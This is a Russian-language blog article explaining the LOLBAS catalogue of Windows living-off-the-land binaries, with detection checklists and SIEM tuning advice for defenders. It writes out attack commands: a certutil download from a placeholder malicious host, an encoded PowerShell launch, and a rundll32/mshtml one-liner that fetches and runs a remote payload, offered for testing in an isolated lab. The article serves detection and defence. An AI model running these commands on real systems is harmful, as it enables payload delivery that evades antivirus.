LOLBAS — это база знаний о легитимных системных утилитах, которые злоумышленники применяют для атак, чтобы остаться незамеченными. Понимание этих техник позволяет строить эффективные правила детектирования и сокращать время реакции на инциденты.
Что такое lolbas и зачем это знать специалисту по защите
LOLBAS расшифровывается как Living Off The Land Binaries And Scripts. Концепция описывает подход, при котором атакующий не загружает вредоносные файлы, а использует инструменты, уже присутствующие в системе. Powershell, certutil, rundll32 — это не эксплойты, это штатные компоненты Windows. Их присутствие не вызывает подозрений у средств защиты, потому что они подписаны цифровыми сертификатами разработчика ОС.
Проект lolbas-project.github.io систематизирует такие утилиты. Каждая запись содержит описание функционала, примеры команд для легитимного использования и сценарии злоупотребления. Материал привязан к техникам MITRE ATT&CK, что упрощает интеграцию в процессы мониторинга.
Аналитик безопасности получает справочник для настройки SIEM-правил. Пентестер находит проверенные методы для тестирования периметра. Разработчик детектов видит, какие параметры команд стоит отслеживать в логах.
Я работал с этой базой при настройке правил корреляции. Заметил, что многие техники из LOLBAS уже покрыты стандартными правилами Microsoft Defender for Endpoint, но только при включенных политиках ASR. Без них детект работает значительно хуже.
Как работает атака через легитимные утилиты
Злоумышленник не всегда нуждается в сложном вредоносном коде. Достаточно вызвать системный инструмент с определёнными аргументами.
Команда certutil -urlcache -f http://malicious.site/payload.exe payload.exe загружает файл из сети. Certutil предназначен для работы с сертификатами, поэтому его сетевая активность редко попадает в правила блокировки по сигнатурам. Антивирус видит подписанный исполняемый файл от Microsoft, а не загрузчик.
Другой пример: powershell -enc <base64>. Закодированная команда обходит сигнатурный анализ, потому что сам PowerShell легитимен. Детектировать такую активность можно только по поведению — например, по цепочке процессов или необычным параметрам запуска.
[√] Проверить в своей среде, какие LOLBins присутствуют по умолчанию — это сократит список потенциальных векторов атаки
[ ] Настроить логирование параметров запуска для ключевых утилит — без этого детект по поведению невозможен
[ ] Сверить обнаруженные процессы с базой LOLBAS — многие техники уже описаны и имеют готовые рекомендации по детекту
Каждый пункт важен по конкретной причине. Знание арсенала системы позволяет отличить административную задачу от аномалии. Логирование параметров даёт данные для анализа, а не только факт запуска. Интеграция с известной базой ускоряет расследование, потому что не нужно изобретать правила с нуля.
Какие утилиты чаще всего используют в атаках
Проект категоризирует объекты по типу: LOLBins (исполняемые файлы), LOLScripts (скрипты), LOLLibs (библиотеки). Наибольшее внимание уделяется первым, потому что они чаще всего вызываются напрямую.
Список часто эксплуатируемых утилит включает:
- powershell.exe — выполнение скриптов, работа с сетью, манипуляции с реестром
- rundll32.exe — запуск кода из DLL, обход ограничений на прямое исполнение
- mshta.exe — выполнение HTA-файлов, часто используется для первоначального доступа
- regsvr32.exe — регистрация COM-объектов, может загружать и исполнять удалённый код
- wmic.exe — удалённое управление, сбор информации о системе, выполнение команд
Каждая из этих утилит имеет легитимное применение. Задача аналитика — определить контекст. Запуск powershell из пользовательской сессии в нерабочее время с параметром -enc выглядит подозрительно. Тот же процесс от системы при установке обновлений — норма.
Интересный момент: некоторые утилиты, например installutil.exe, требуют прав администратора для эксплуатации. Это не делает их безопасными, но сужает круг потенциальных атакующих. Где проходит граница между допустимым использованием и аномалией — вопрос настройки порогов в SIEM.
Как использовать lolbas для настройки детектирования
База предоставляет не только описания, но и примеры команд для поиска аномалий. Для каждой техники указаны:
- параметры командной строки, характерные для злоупотребления
- события Windows, которые стоит мониторить
- связи с техниками MITRE ATT&CK по идентификатору
Практический шаг: взять технику T1105 (Ingress Tool Transfer) и найти в LOLBAS все утилиты, которые могут загружать файлы. Затем проверить, логируются ли в вашей среде параметры запуска этих процессов. Если нет — настроить аудит через Group Policy или Sysmon.
Команда для быстрой проверки в PowerShell:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object {$_.Message -like "*certutil*"} | Select-Object TimeCreated, Message -First 10Этот запрос покажет последние события запуска certutil. Если в параметрах виден -urlcache или -f — стоит проверить целевой URL и хеш загруженного файла.
Ещё один интерактивный элемент: пройти по ссылке lolbas-project.github.io, выбрать любую утилиту и найти раздел Detection. Там часто указаны конкретные условия для правил Sigma или YARA. Попробуйте адаптировать одно из них под вашу платформу мониторинга.
Не все рекомендации из базы применимы напрямую. Некоторые требуют доработки под конкретную инфраструктуру. Я сталкивался с ситуацией, когда правило, работающее в тестовой среде, давало сотни ложных срабатываний в продакшене из-за специфики бизнес-процессов.
Почему антивирусы часто пропускают такие атаки
Сигнатурные средства защиты опираются на известные образцы вредоносного кода. Когда атака использует легитимный файл, сигнатура отсутствует по определению. Поведенческий анализ способен детектировать аномалии, но требует точной настройки.
Проблема усугубляется тем, что многие LOLBins работают от имени системных учётных записей. Блокировка такого процесса может нарушить работу ОС. Поэтому средства защиты часто применяют более мягкие политики к подписанным файлам.
Решение лежит в плоскости контекстного анализа. Не сам факт запуска powershell важен, а то, что он делает: какие команды выполняет, к каким ресурсам обращается, какие процессы порождает. Сбор и корреляция этих данных — задача платформы мониторинга, а не антивируса.
В 2026 году Microsoft Defender for Endpoint с включёнными правилами ASR уже увереннее детектирует цепочки с certutil -urlcache и подобными техниками. Но полная блокировка зависит от контекста: репутации URL, поведения после загрузки, прав учётной записи. Утверждать, что «не блокирует» или «всегда блокирует» — упрощение.
Чек-лист для первичной настройки мониторинга lolbas-техник
[√] Включить аудит создания процессов с параметрами командной строки — без этой информации детект по поведению невозможен
[ ] Настроить экспорт логов в SIEM или аналитическую платформу — локальные журналы не масштабируются на расследование
[ ] Импортировать правила детектирования из репозитория LOLBAS — многие техники уже имеют готовые шаблоны
[ ] Провести базовую инвентаризацию: какие LOLBins присутствуют в среде — это сузит поверхность атаки
[ ] Определить пороги аномалий: какие параметры команд считаются подозрительными в вашем контексте
Каждый пункт закрывает конкретный пробел. Аудит параметров даёт данные для анализа. Централизация логов позволяет коррелировать события. Готовые правила экономят время на разработку. Инвентаризация помогает приоритизировать усилия. Контекстные пороги снижают уровень ложных срабатываний.
Где проверить свои правила детектирования
После настройки правил стоит протестировать их в контролируемой среде. Можно использовать изолированную виртуальную машину с настроенным мониторингом.
Первый тест: запустить команду из примера LOLBAS, например:
rundll32.exe vbscript:"\..\mshtml,RunHTMLApplication ":document.Write:CreateObject("WScript.Shell").Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://test.local/payload')"Затем проверить, сгенерировало ли правило предупреждение. Если нет — проанализировать, какие данные не попали в корреляцию: параметры процесса, сетевое соединение, порождённые процессы.
Второй тест: запустить легитимную команду с похожими параметрами и убедиться, что ложного срабатывания не произошло. Баланс между детектом и шумом — ключевой параметр качества правила.
Где взять безопасные примеры для тестов: в самом проекте LOLBAS есть раздел с примерами, но запускать их стоит только в изолированной среде. Альтернатива — использовать фреймворки типа Atomic Red Team, которые предоставляют безопасные симуляции атак.
Какие сложности возникают при внедрении
Первая сложность — объём данных. Логирование параметров всех процессов генерирует значительный трафик. Требуется фильтрация на этапе сбора: мониторить только критичные утилиты или применять выборочный аудит.
Вторая — ложные срабатывания. Администраторы тоже используют powershell и certutil. Правило, которое срабатывает на каждый запуск, быстро потеряет доверие команды. Решение — добавление контекстных условий: время запуска, учётная запись, родительский процесс.
Третья — поддержка актуальности. База LOLBAS обновляется, появляются новые техники. Правила детектирования требуют периодического пересмотра. Автоматизация этого процесса через CI/CD для правил безопасности — направление, которое стоит рассмотреть.
Неочевидный момент: некоторые техники требуют мониторинга не только процессов, но и сетевой активности, и изменений в реестре. Интеграция разных источников данных усложняет архитектуру, но повышает качество детекта.
Где окажется баланс между полнотой детекта и управляемостью правил — вопрос, который каждая команда решает самостоятельно.
#кибербезопасность #LOLBAS #MITREATTACK #детектирование #SIEM #инцидентныйответ #безопасностьОС